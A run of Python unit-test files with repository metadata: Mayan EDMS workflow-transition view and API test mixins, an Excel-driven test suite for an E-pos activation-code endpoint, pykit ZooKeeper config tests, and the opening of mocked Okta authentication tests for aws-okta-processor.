from django.db.models import Q from mayan.apps.events.classes import EventType from ...models import ( WorkflowTransition, WorkflowTransitionField, WorkflowTransitionTriggerEvent ) from ..literals import ( TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_HELP_TEXT, TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_LABEL, TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_LABEL_EDITED, TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_NAME, TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_TYPE, TEST_WORKFLOW_TEMPLATE_TRANSITION_LABEL, TEST_WORKFLOW_TEMPLATE_TRANSITION_LABEL_EDITED ) class WorkflowTransitionFieldViewTestMixin: def _request_workflow_template_transition_field_create_view(self): pk_list = list( WorkflowTransitionField.objects.values_list('pk', flat=True) ) response = self.post( viewname='document_states:workflow_template_transition_field_create', kwargs={ 'workflow_template_transition_id': self._test_workflow_template_transition.pk }, data={ 'field_type': TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_TYPE, 'name': TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_NAME, 'label': TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_LABEL, 'help_text': TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_HELP_TEXT } ) try: self._test_workflow_template_transition_field = WorkflowTransitionField.objects.get( ~Q(pk__in=pk_list) ) except WorkflowTransitionField.DoesNotExist: self._test_workflow_template_transition_field = None return response def _request_workflow_template_transition_field_delete_view(self): return self.post( viewname='document_states:workflow_template_transition_field_delete', kwargs={ 'workflow_template_transition_field_id': self._test_workflow_template_transition_field.pk } ) def _request_workflow_template_transition_field_edit_view(self): return self.post( viewname='document_states:workflow_template_transition_field_edit', kwargs={ 'workflow_template_transition_field_id': self._test_workflow_template_transition_field.pk }, data={ 'field_type': TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_TYPE, 'name': TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_NAME, 'label': TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_LABEL_EDITED, 'help_text': TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_HELP_TEXT } ) def _request_test_workflow_template_transition_field_list_view(self): return self.get( viewname='document_states:workflow_template_transition_field_list', kwargs={ 'workflow_template_transition_id': self._test_workflow_template_transition.pk } ) class WorkflowTemplateTransitionAPIViewTestMixin: def _request_test_workflow_template_transition_create_api_view( self, extra_data=None ): data = { 'label': TEST_WORKFLOW_TEMPLATE_TRANSITION_LABEL, 'origin_state_id': self._test_workflow_template_states[0].pk, 'destination_state_id': self._test_workflow_template_states[1].pk } if extra_data: data.update(extra_data) pk_list = list( WorkflowTransition.objects.values_list('pk', flat=True) ) response = self.post( viewname='rest_api:workflow-template-transition-list', kwargs={ 'workflow_template_id': self._test_workflow_template.pk }, data=data ) try: self._test_workflow_template_transition = WorkflowTransition.objects.get( ~Q(pk__in=pk_list) ) except WorkflowTransition.DoesNotExist: self._test_workflow_template_transition = None return response def _request_test_workflow_template_transition_delete_api_view(self): return self.delete( viewname='rest_api:workflow-template-transition-detail', kwargs={ 'workflow_template_id': self._test_workflow_template.pk, 'workflow_template_transition_id': self._test_workflow_template_transition.pk } ) def _request_test_workflow_template_transition_detail_api_view(self): return self.get( viewname='rest_api:workflow-template-transition-detail', kwargs={ 'workflow_template_id': self._test_workflow_template.pk, 'workflow_template_transition_id': self._test_workflow_template_transition.pk } ) def _request_test_workflow_template_transition_list_api_view(self): return self.get( viewname='rest_api:workflow-template-transition-list', kwargs={ 'workflow_template_id': self._test_workflow_template.pk } ) def _request_test_workflow_template_transition_edit_patch_api_view(self): return self.patch( viewname='rest_api:workflow-template-transition-detail', kwargs={ 'workflow_template_id': self._test_workflow_template.pk, 'workflow_template_transition_id': self._test_workflow_template_transition.pk }, data={ 'label': TEST_WORKFLOW_TEMPLATE_TRANSITION_LABEL_EDITED, 'origin_state_id': self._test_workflow_template_states[1].pk, 'destination_state_id': self._test_workflow_template_states[0].pk } ) def _request_test_workflow_template_transition_edit_put_api_view_via(self): return self.put( viewname='rest_api:workflow-template-transition-detail', kwargs={ 'workflow_template_id': self._test_workflow_template.pk, 'workflow_template_transition_id': self._test_workflow_template_transition.pk }, data={ 'label': TEST_WORKFLOW_TEMPLATE_TRANSITION_LABEL_EDITED, 'origin_state_id': self._test_workflow_template_states[1].pk, 'destination_state_id': self._test_workflow_template_states[0].pk } ) class WorkflowTransitionFieldAPIViewTestMixin: def _request_test_workflow_template_transition_field_create_api_view(self): pk_list = list(WorkflowTransitionField.objects.values_list('pk')) response = self.post( viewname='rest_api:workflow-template-transition-field-list', kwargs={ 'workflow_template_id': self._test_workflow_template.pk, 'workflow_template_transition_id': self._test_workflow_template_transition.pk, }, data={ 'field_type': TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_TYPE, 'name': TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_NAME, 'label': TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_LABEL, 'help_text': TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_HELP_TEXT } ) try: self._test_workflow_template_transition_field = WorkflowTransitionField.objects.get( ~Q(pk__in=pk_list) ) except WorkflowTransitionField.DoesNotExist: self._test_workflow_template_transition_field = None return response def _request_test_workflow_template_transition_field_delete_api_view(self): return self.delete( viewname='rest_api:workflow-template-transition-field-detail', kwargs={ 'workflow_template_id': self._test_workflow_template.pk, 'workflow_template_transition_id': self._test_workflow_template_transition.pk, 'workflow_template_transition_field_id': self._test_workflow_template_transition_field.pk } ) def _request_test_workflow_template_transition_field_detail_api_view(self): return self.get( viewname='rest_api:workflow-template-transition-field-detail', kwargs={ 'workflow_template_id': self._test_workflow_template.pk, 'workflow_template_transition_id': self._test_workflow_template_transition.pk, 'workflow_template_transition_field_id': self._test_workflow_template_transition_field.pk } ) def _request_test_workflow_template_transition_field_edit_via_patch_api_view(self): return self.patch( viewname='rest_api:workflow-template-transition-field-detail', kwargs={ 'workflow_template_id': self._test_workflow_template.pk, 'workflow_template_transition_id': self._test_workflow_template_transition.pk, 'workflow_template_transition_field_id': self._test_workflow_template_transition_field.pk }, data={ 'label': '{} edited'.format( self._test_workflow_template_transition_field ) } ) def _request_test_workflow_template_transition_field_list_api_view(self): return self.get( viewname='rest_api:workflow-template-transition-field-list', kwargs={ 'workflow_template_id': self._test_workflow_template.pk, 'workflow_template_transition_id': self._test_workflow_template_transition.pk } ) class WorkflowTransitionFieldTestMixin: def _create_test_workflow_template_transition_field(self, extra_data=None): kwargs = { 'field_type': TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_TYPE, 'name': TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_NAME, 'label': TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_LABEL, 'help_text': TEST_WORKFLOW_TEMPLATE_TRANSITION_FIELD_HELP_TEXT } kwargs.update(extra_data or {}) self._test_workflow_template_transition_field = self._test_workflow_template_transition.fields.create( **kwargs ) class WorkflowTemplateTransitionTriggerAPIViewTestMixin: def _request_test_workflow_template_transition_trigger_create_api_view(self): data = { 'event_type_id': self._test_event_type.id } pk_list = list( WorkflowTransitionTriggerEvent.objects.values_list( 'pk', flat=True ) ) response = self.post( viewname='rest_api:workflow-template-transition-trigger-list', kwargs={ 'workflow_template_id': self._test_workflow_template.pk, 'workflow_template_transition_id': self._test_workflow_template_transition.pk }, data=data ) try: self._test_workflow_template_transition_trigger = WorkflowTransitionTriggerEvent.objects.get( ~Q(pk__in=pk_list) ) except WorkflowTransitionTriggerEvent.DoesNotExist: self._test_workflow_template_transition_trigger = None return response def _request_test_workflow_template_transition_trigger_delete_api_view(self): return self.delete( viewname='rest_api:workflow-template-transition-trigger-detail', kwargs={ 'workflow_template_id': self._test_workflow_template.pk, 'workflow_template_transition_id': self._test_workflow_template_transition.pk, 'workflow_template_transition_trigger_id': self._test_workflow_template_transition_trigger.pk } ) def _request_test_workflow_template_transition_trigger_detail_api_view(self): return self.get( viewname='rest_api:workflow-template-transition-trigger-detail', kwargs={ 'workflow_template_id': self._test_workflow_template.pk, 'workflow_template_transition_id': self._test_workflow_template_transition.pk, 'workflow_template_transition_trigger_id': self._test_workflow_template_transition_trigger.pk } ) def _request_test_workflow_template_transition_trigger_list_api_view(self): return self.get( viewname='rest_api:workflow-template-transition-trigger-list', kwargs={ 'workflow_template_id': self._test_workflow_template.pk, 'workflow_template_transition_id': self._test_workflow_template_transition.pk } ) def _request_test_workflow_template_transition_trigger_edit_patch_api_view(self): return self.patch( viewname='rest_api:workflow-template-transition-trigger-detail', kwargs={ 'workflow_template_id': self._test_workflow_template.pk, 'workflow_template_transition_id': self._test_workflow_template_transition.pk, 'workflow_template_transition_trigger_id': self._test_workflow_template_transition_trigger.pk }, data={ 'event_type_id': self._test_event_type.id } ) def _request_test_workflow_template_transition_trigger_edit_put_api_view(self): return self.put( viewname='rest_api:workflow-template-transition-trigger-detail', kwargs={ 'workflow_template_id': self._test_workflow_template.pk, 'workflow_template_transition_id': self._test_workflow_template_transition.pk, 'workflow_template_transition_trigger_id': self._test_workflow_template_transition_trigger.pk }, data={ 'event_type_id': self._test_event_type.id } ) class WorkflowTemplateTransitionTriggerTestMixin: def setUp(self): super().setUp() self._test_workflow_template_transition_triggers = [] def _create_test_workflow_template_transition_trigger(self): event_type = EventType.get(id=self._test_event_type.id) self._test_workflow_template_transition_trigger = self._test_workflow_template_transition.trigger_events.create( event_type=event_type.get_stored_event_type() ) self._test_workflow_template_transition_triggers.append( self._test_workflow_template_transition_trigger ) class WorkflowTemplateTransitionTriggerViewTestMixin: def _request_test_workflow_template_transition_event_list_view(self): return self.get( viewname='document_states:workflow_template_transition_triggers', kwargs={ 'workflow_template_transition_id': self._test_workflow_template_transition.pk } ) class WorkflowTemplateTransitionViewTestMixin: def _request_test_workflow_template_transition_create_view(self): pk_list = list( WorkflowTransition.objects.values_list('pk', flat=True) ) response = self.post( viewname='document_states:workflow_template_transition_create', kwargs={ 'workflow_template_id': self._test_workflow_template.pk }, data={ 'label': TEST_WORKFLOW_TEMPLATE_TRANSITION_LABEL, 'origin_state': self._test_workflow_template_states[0].pk, 'destination_state': self._test_workflow_template_states[1].pk } ) try: self._test_workflow_template_transition = WorkflowTransition.objects.get( ~Q(pk__in=pk_list) ) except WorkflowTransition.DoesNotExist: self._test_workflow_template_transition = None return response def _request_test_workflow_template_transition_delete_view(self): return self.post( viewname='document_states:workflow_template_transition_delete', kwargs={ 'workflow_template_transition_id': self._test_workflow_template_transition.pk } ) def _request_test_workflow_template_transition_edit_view(self): return self.post( viewname='document_states:workflow_template_transition_edit', kwargs={ 'workflow_template_transition_id': self._test_workflow_template_transition.pk }, data={ 'label': TEST_WORKFLOW_TEMPLATE_TRANSITION_LABEL_EDITED, 'origin_state': self._test_workflow_template_states[0].pk, 'destination_state': self._test_workflow_template_states[1].pk } ) def _request_test_workflow_template_transition_list_view(self): return self.get( viewname='document_states:workflow_template_transition_list', kwargs={ 'workflow_template_id': self._test_workflow_template.pk } )
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9
0c1bd497d7db16c0709031813426d095d2572a32
10,347
py
Python
case/Test_Environment/E_pos/E_pos_clientManager_createActivationCode.py
Four-sun/Requests_Load
472f3f6d9bd407f1c4ed30a5557ec141e2434188
[ "Apache-2.0" ]
null
null
null
case/Test_Environment/E_pos/E_pos_clientManager_createActivationCode.py
Four-sun/Requests_Load
472f3f6d9bd407f1c4ed30a5557ec141e2434188
[ "Apache-2.0" ]
null
null
null
case/Test_Environment/E_pos/E_pos_clientManager_createActivationCode.py
Four-sun/Requests_Load
472f3f6d9bd407f1c4ed30a5557ec141e2434188
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ Created: on 2018-04-19 @author: Four Project: case\E-pos_clientManager_createActivationCode.py URL: http://epos-pc-qa.eslink.net.cn/clientManager/createActivationCode """ import unittest import os import time import sys import requests from case.Test_Environment.E_pos.Login_ecc import Login_ecc from common.Request_Package import send_requests from common.Excel_readline import ExcelUtil from common.log import Logger # 获取xlsx路径 path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))) testxlsx = os.path.join(path, "config") reportxlsx = os.path.join(testxlsx, "Epos-eccManager-testcase.xlsx") Sheet_Name = "clientManager_createActivation" logger_message = Logger() send_time = time.strftime("%Y-%m-%d-%H_%M_%S", time.localtime(time.time())) class clientManager_createActivationC(unittest.TestCase): def test_SearchActionCode_1(self): u"""正确的条件,成功创建一个激活码""" try: data = ExcelUtil(reportxlsx,Sheet_Name).dict_data() login_cookies=Login_ecc() cookie=requests.utils.dict_from_cookiejar(login_cookies.cookies) test_id = 0 s = requests.session() res = send_requests(s, data[test_id], cookie) self.assertTrue(res) except Exception as Error: logger_message.logwarning(u"%s\t方法名：%s\t异常原因：%s"%(send_time,sys._getframe().f_code.co_name,Error)) raise def test_SearchActionCode_2(self): u"""创建激活码:没有条件调用接口""" try: data = ExcelUtil(reportxlsx,Sheet_Name).dict_data() login_cookies=Login_ecc() cookie=requests.utils.dict_from_cookiejar(login_cookies.cookies) test_id = 1 s = requests.session() res = send_requests(s, data[test_id], cookie) self.assertTrue(res) except Exception as Error: logger_message.logwarning(u"%s\t方法名：%s\t异常原因：%s"%(send_time,sys._getframe().f_code.co_name,Error)) raise def test_SearchActionCode_3(self): u"""创建激活码:必输项检查：merchantCode""" try: data = ExcelUtil(reportxlsx,Sheet_Name).dict_data() login_cookies=Login_ecc() cookie=requests.utils.dict_from_cookiejar(login_cookies.cookies) test_id = 2 s = requests.session() res = send_requests(s, data[test_id], cookie) self.assertTrue(res) except Exception as Error: logger_message.logwarning(u"%s\t方法名：%s\t异常原因：%s"%(send_time,sys._getframe().f_code.co_name,Error)) raise def test_SearchActionCode_4(self): u"""创建激活码:非必输项检查：ownerShip""" try: data = ExcelUtil(reportxlsx,Sheet_Name).dict_data() login_cookies=Login_ecc() cookie=requests.utils.dict_from_cookiejar(login_cookies.cookies) test_id = 3 s = requests.session() res = send_requests(s, data[test_id], cookie) self.assertTrue(res) except Exception as Error: logger_message.logwarning(u"%s\t方法名：%s\t异常原因：%s"%(send_time,sys._getframe().f_code.co_name,Error)) raise def test_SearchActionCode_5(self): u"""创建激活码:必输项检查：creatNum""" try: data = ExcelUtil(reportxlsx,Sheet_Name).dict_data() login_cookies=Login_ecc() cookie=requests.utils.dict_from_cookiejar(login_cookies.cookies) test_id = 4 s = requests.session() res = send_requests(s, data[test_id], cookie) self.assertTrue(res) except Exception as Error: logger_message.logwarning(u"%s\t方法名：%s\t异常原因：%s"%(send_time,sys._getframe().f_code.co_name,Error)) raise def test_SearchActionCode_6(self): u"""创建激活码:输入项float字段类型校验:merchantCode""" try: data = ExcelUtil(reportxlsx,Sheet_Name).dict_data() login_cookies=Login_ecc() cookie=requests.utils.dict_from_cookiejar(login_cookies.cookies) test_id = 5 s = requests.session() res = send_requests(s, data[test_id], cookie) self.assertTrue(res) except Exception as Error: logger_message.logwarning(u"%s\t方法名：%s\t异常原因：%s"%(send_time,sys._getframe().f_code.co_name,Error)) raise def test_SearchActionCode_7(self): u"""创建激活码:输入项int字段类型校验:creatNum""" try: data = ExcelUtil(reportxlsx,Sheet_Name).dict_data() login_cookies=Login_ecc() cookie=requests.utils.dict_from_cookiejar(login_cookies.cookies) test_id = 6 s = requests.session() res = send_requests(s, data[test_id], cookie) self.assertTrue(res) except Exception as Error: logger_message.logwarning(u"%s\t方法名：%s\t异常原因：%s"%(send_time,sys._getframe().f_code.co_name,Error)) raise def test_SearchActionCode_8(self): u"""创建激活码输入项float字段类型校验:ownerShip""" try: data = ExcelUtil(reportxlsx,Sheet_Name).dict_data() login_cookies=Login_ecc() cookie=requests.utils.dict_from_cookiejar(login_cookies.cookies) test_id = 7 s = requests.session() res = send_requests(s, data[test_id], cookie) self.assertTrue(res) except Exception as Error: logger_message.logwarning(u"%s\t方法名：%s\t异常原因：%s"%(send_time,sys._getframe().f_code.co_name,Error)) raise def test_SearchActionCode_9(self): u"""创建激活码:输入项float字段类型校验:subMerchantCode""" try: data = ExcelUtil(reportxlsx,Sheet_Name).dict_data() login_cookies=Login_ecc() cookie=requests.utils.dict_from_cookiejar(login_cookies.cookies) test_id = 8 s = requests.session() res = send_requests(s, data[test_id], cookie) self.assertTrue(res) except Exception as Error: logger_message.logwarning(u"%s\t方法名：%s\t异常原因：%s"%(send_time,sys._getframe().f_code.co_name,Error)) raise def test_SearchActionCode_10(self): u"""创建激活码:输入项字段的特定类型校验：merchantCode""" try: data = ExcelUtil(reportxlsx,Sheet_Name).dict_data() login_cookies=Login_ecc() cookie=requests.utils.dict_from_cookiejar(login_cookies.cookies) test_id = 9 s = requests.session() res = send_requests(s, data[test_id], cookie) self.assertTrue(res) except Exception as Error: logger_message.logwarning(u"%s\t方法名：%s\t异常原因：%s"%(send_time,sys._getframe().f_code.co_name,Error)) raise def test_SearchActionCode_11(self): u"""创建激活码:输入项字段的特定类型校验：subMerchantCode""" try: data = ExcelUtil(reportxlsx,Sheet_Name).dict_data() login_cookies=Login_ecc() cookie=requests.utils.dict_from_cookiejar(login_cookies.cookies) test_id = 10 s = requests.session() res = send_requests(s, data[test_id], cookie) self.assertTrue(res) except Exception as Error: logger_message.logwarning(u"%s\t方法名：%s\t异常原因：%s"%(send_time,sys._getframe().f_code.co_name,Error)) raise def test_SearchActionCode_12(self): u"""创建激活码:输入项字段的特定类型校验：creatNum""" try: data = ExcelUtil(reportxlsx,Sheet_Name).dict_data() login_cookies=Login_ecc() cookie=requests.utils.dict_from_cookiejar(login_cookies.cookies) test_id = 11 s = requests.session() res = send_requests(s, data[test_id], cookie) self.assertTrue(res) except Exception as Error: logger_message.logwarning(u"%s\t方法名：%s\t异常原因：%s"%(send_time,sys._getframe().f_code.co_name,Error)) raise def test_SearchActionCode_13(self): u"""创建激活码:输入项字段的特定类型校验：ownerShip""" try: data = ExcelUtil(reportxlsx,Sheet_Name).dict_data() login_cookies=Login_ecc() cookie=requests.utils.dict_from_cookiejar(login_cookies.cookies) test_id = 12 s = requests.session() res = send_requests(s, data[test_id], cookie) self.assertTrue(res) except Exception as Error: logger_message.logwarning(u"%s\t方法名：%s\t异常原因：%s"%(send_time,sys._getframe().f_code.co_name,Error)) raise def test_SearchActionCode_14(self): u"""创建激活码:creatNum创建个数边界值：0""" try: data = ExcelUtil(reportxlsx,Sheet_Name).dict_data() login_cookies=Login_ecc() cookie=requests.utils.dict_from_cookiejar(login_cookies.cookies) test_id = 13 s = requests.session() res = send_requests(s, data[test_id], cookie) self.assertTrue(res) except Exception as Error: logger_message.logwarning(u"%s\t方法名：%s\t异常原因：%s"%(send_time,sys._getframe().f_code.co_name,Error)) raise def test_SearchActionCode_15(self): u"""创建激活码:creatNum创建个数边界值：51""" try: data = ExcelUtil(reportxlsx,Sheet_Name).dict_data() login_cookies=Login_ecc() cookie=requests.utils.dict_from_cookiejar(login_cookies.cookies) test_id = 14 s = requests.session() res = send_requests(s, data[test_id], cookie) self.assertTrue(res) except Exception as Error: logger_message.logwarning(u"%s\t方法名：%s\t异常原因：%s"%(send_time,sys._getframe().f_code.co_name,Error)) raise def test_SearchActionCode_16(self): u"""创建激活码:特殊字符的校验""" try: data = ExcelUtil(reportxlsx,Sheet_Name).dict_data() login_cookies=Login_ecc() cookie=requests.utils.dict_from_cookiejar(login_cookies.cookies) test_id = 15 s = requests.session() res = send_requests(s, data[test_id], cookie) self.assertTrue(res) except Exception as Error: logger_message.logwarning(u"%s\t方法名：%s\t异常原因：%s"%(send_time,sys._getframe().f_code.co_name,Error)) raise if __name__ == '__main__': unittest.main()
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0
0
0
0
0
0
0
0
0
0
0
7
0c43d917fdf8ed40a2ce8ae986d5de6c80f8ba5f
5,231
py
Python
zkutil/test/test_zkconf.py
wenbobuaa/pykit
43e38fe40297a1e7a9329bcf3db3554c7ca48ead
[ "MIT" ]
null
null
null
zkutil/test/test_zkconf.py
wenbobuaa/pykit
43e38fe40297a1e7a9329bcf3db3554c7ca48ead
[ "MIT" ]
null
null
null
zkutil/test/test_zkconf.py
wenbobuaa/pykit
43e38fe40297a1e7a9329bcf3db3554c7ca48ead
[ "MIT" ]
null
null
null
import unittest from pykit import config from pykit import ututil from pykit import zkutil dd = ututil.dd class TestZKConf(unittest.TestCase): def test_specified(self): c = zkutil.ZKConf( hosts='hosts', tx_dir='tx_dir/', record_dir='record_dir/', seq_dir='seq_dir/', lock_dir='lock_dir/', node_id='node_id', auth=('digest', 'a', 'b'), acl=(('foo', 'bar', 'cd'), ('xp', '123', 'cdrwa')) ) self.assertEqual('hosts', c.hosts()) self.assertEqual('tx_dir/', c.tx_dir()) self.assertEqual('record_dir/', c.record_dir()) self.assertEqual('seq_dir/', c.seq_dir()) self.assertEqual('lock_dir/', c.lock_dir()) self.assertEqual('node_id', c.node_id()) self.assertEqual(('digest', 'a', 'b'), c.auth()) self.assertEqual((('foo', 'bar', 'cd'), ('xp', '123', 'cdrwa')), c.acl()) self.assertEqual('lock_dir/', c.lock()) self.assertEqual('lock_dir/a', c.lock('a')) self.assertEqual('record_dir/', c.record()) self.assertEqual('record_dir/a', c.record('a')) self.assertEqual('tx_dir/alive/', c.tx_alive()) self.assertEqual('tx_dir/alive/a', c.tx_alive('a')) self.assertEqual('tx_dir/alive/0000000001', c.tx_alive(1)) self.assertEqual('tx_dir/state/', c.tx_state()) self.assertEqual('tx_dir/state/a', c.tx_state('a')) self.assertEqual('tx_dir/state/0000000001', c.tx_state(1)) self.assertEqual('tx_dir/journal/', c.journal()) self.assertEqual('tx_dir/journal/a', c.journal('a')) self.assertEqual('tx_dir/journal/0000000001', c.journal(1)) self.assertEqual('tx_dir/txidset', c.txidset()) self.assertEqual('tx_dir/txid_maker', c.txid_maker()) self.assertEqual('seq_dir/', c.seq()) self.assertEqual('seq_dir/a', c.seq('a')) self.assertEqual(zkutil.make_kazoo_digest_acl((('foo', 'bar', 'cd'), ('xp', '123', 'cdrwa'))), c.kazoo_digest_acl()) self.assertEqual(('digest', 'a:b'), c.kazoo_auth()) def test_default(self): old = ( config.zk_hosts, config.zk_tx_dir, config.zk_record_dir, config.zk_lock_dir, config.zk_node_id, config.zk_auth, config.zk_acl, ) config.zk_hosts = 'HOSTS' config.zk_tx_dir = 'TX_DIR/' config.zk_record_dir = 'RECORD_DIR/' config.zk_seq_dir = 'SEQ_DIR/' config.zk_lock_dir = 'LOCK_DIR/' config.zk_node_id = 'NODE_ID' config.zk_auth = ('DIGEST', 'A', 'B') config.zk_acl = (('FOO', 'BAR', 'CD'), ('XP', '123', 'CDRWA')) c = zkutil.ZKConf() self.assertEqual('HOSTS', c.hosts()) self.assertEqual('TX_DIR/', c.tx_dir()) self.assertEqual('RECORD_DIR/', c.record_dir()) self.assertEqual('SEQ_DIR/', c.seq_dir()) self.assertEqual('LOCK_DIR/', c.lock_dir()) self.assertEqual('NODE_ID', c.node_id()) self.assertEqual(('DIGEST', 'A', 'B'), c.auth()) self.assertEqual((('FOO', 'BAR', 'CD'), ('XP', '123', 'CDRWA')), c.acl()) self.assertEqual('LOCK_DIR/', c.lock()) self.assertEqual('LOCK_DIR/a', c.lock('a')) self.assertEqual('RECORD_DIR/', c.record()) self.assertEqual('RECORD_DIR/a', c.record('a')) self.assertEqual('SEQ_DIR/', c.seq()) self.assertEqual('SEQ_DIR/a', c.seq('a')) self.assertEqual('TX_DIR/alive/', c.tx_alive()) self.assertEqual('TX_DIR/alive/a', c.tx_alive('a')) self.assertEqual('TX_DIR/alive/0000000001', c.tx_alive(1)) self.assertEqual('TX_DIR/state/', c.tx_state()) self.assertEqual('TX_DIR/state/a', c.tx_state('a')) self.assertEqual('TX_DIR/state/0000000001', c.tx_state(1)) self.assertEqual('TX_DIR/journal/', c.journal()) self.assertEqual('TX_DIR/journal/a', c.journal('a')) self.assertEqual('TX_DIR/journal/0000000001', c.journal(1)) self.assertEqual('TX_DIR/txidset', c.txidset()) self.assertEqual('TX_DIR/txid_maker', c.txid_maker()) self.assertEqual(zkutil.make_kazoo_digest_acl((('FOO', 'BAR', 'CD'), ('XP', '123', 'CDRWA'))), c.kazoo_digest_acl()) self.assertEqual(('DIGEST', 'A:B'), c.kazoo_auth()) ( config.zk_hosts, config.zk_tx_dir, config.zk_record_dir, config.zk_lock_dir, config.zk_node_id, config.zk_auth, config.zk_acl, ) = old
42.185484
102
0.50736
611
5,231
4.124386
0.081833
0.321429
0.161905
0.190476
0.869048
0.847619
0.830556
0.822222
0.813492
0.813492
0
0.02383
0.326133
5,231
123
103
42.528455
0.691064
0
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0.171429
0
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0.162493
0.027146
0
0
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0
0.514286
1
0.019048
false
0
0.038095
0
0.066667
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null
1
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9
a78723847cfe82b0d4a9bd5516a27a19629adb9a
24,332
py
Python
tests/core/test_okta.py
dclayton-godaddy/aws-okta-processor
ec7603a194ab24d40c2aee4f05e4f87296a880d5
[ "MIT" ]
null
null
null
tests/core/test_okta.py
dclayton-godaddy/aws-okta-processor
ec7603a194ab24d40c2aee4f05e4f87296a880d5
[ "MIT" ]
null
null
null
tests/core/test_okta.py
dclayton-godaddy/aws-okta-processor
ec7603a194ab24d40c2aee4f05e4f87296a880d5
[ "MIT" ]
null
null
null
from tests.test_base import TestBase from tests.test_base import SESSION_RESPONSE from tests.test_base import AUTH_TOKEN_RESPONSE from tests.test_base import AUTH_MFA_PUSH_RESPONSE from tests.test_base import AUTH_MFA_TOTP_RESPONSE from tests.test_base import AUTH_MFA_MULTIPLE_RESPONSE from tests.test_base import AUTH_MFA_YUBICO_HARDWARE_RESPONSE from tests.test_base import MFA_WAITING_RESPONSE from tests.test_base import APPLICATIONS_RESPONSE from tests.test_base import SAML_RESPONSE from mock import patch from mock import call from mock import MagicMock from datetime import datetime from collections import OrderedDict from requests import ConnectionError from requests import ConnectTimeout from aws_okta_processor.core.okta import Okta import responses import json class StubDate(datetime): pass class TestOkta(TestBase): @patch('aws_okta_processor.core.okta.os.chmod') @patch('aws_okta_processor.core.okta.open') @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta( self, mock_print_tty, mock_makedirs, mock_open, mock_chmod ): responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn', json=json.loads(AUTH_TOKEN_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/sessions', json=json.loads(SESSION_RESPONSE) ) okta = Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) self.assertEqual(okta.okta_single_use_token, "single_use_token") self.assertEqual(okta.organization, "organization.okta.com") self.assertEqual(okta.okta_session_id, "session_token") @patch('aws_okta_processor.core.okta.os.chmod') @patch('aws_okta_processor.core.okta.open') @patch('aws_okta_processor.core.okta.getpass') @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta_no_pass( self, mock_print_tty, mock_makedirs, mock_getpass, mock_open, mock_chmod ): mock_getpass.getpass.return_value = "user_pass" responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn', json=json.loads(AUTH_TOKEN_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/sessions', json=json.loads(SESSION_RESPONSE) ) okta = Okta( user_name="user_name", organization="organization.okta.com" ) mock_getpass.getpass.assert_called_once() self.assertEqual(okta.okta_single_use_token, "single_use_token") self.assertEqual(okta.organization, "organization.okta.com") self.assertEqual(okta.okta_session_id, "session_token") @patch('aws_okta_processor.core.okta.os.chmod') @patch('aws_okta_processor.core.okta.open') @patch('aws_okta_processor.core.okta.datetime', StubDate) @patch('aws_okta_processor.core.okta.os.path.isfile') @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta_cached_session( self, mock_print_tty, mock_makedirs, mock_isfile, mock_open, mock_chmod ): StubDate.now = classmethod(lambda cls, tz: datetime(1, 1, 1, 0, 0, tzinfo=tz)) mock_isfile.return_value = True mock_enter = MagicMock() mock_enter.read.return_value = SESSION_RESPONSE mock_open().__enter__.return_value = mock_enter responses.add( responses.POST, 'https://organization.okta.com/api/v1/sessions/me/lifecycle/refresh', json=json.loads(SESSION_RESPONSE) ) okta = Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) self.assertEqual(okta.okta_session_id, "session_token") self.assertEqual(okta.organization, "organization.okta.com") @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta_auth_value_error( self, mock_print_tty, mock_makedirs ): responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn', body="NOT JSON", status=500 ) with self.assertRaises(SystemExit): Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) print_tty_calls = [ call("Error: Status Code: 500"), call("Error: Invalid JSON") ] mock_print_tty.assert_has_calls(print_tty_calls) @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta_auth_send_error( self, mock_print_tty, mock_makedirs ): responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn', json={ "status": "foo", "errorSummary": "bar" }, status=500 ) with self.assertRaises(SystemExit): Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) print_tty_calls = [ call("Error: Status Code: 500"), call("Error: Status: foo"), call("Error: Summary: bar") ] mock_print_tty.assert_has_calls(print_tty_calls) @patch('aws_okta_processor.core.okta.os.chmod') @patch('aws_okta_processor.core.okta.open') @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta_mfa_push_challenge( self, mock_print_tty, mock_makedirs, mock_open, mock_chmod ): responses.add( 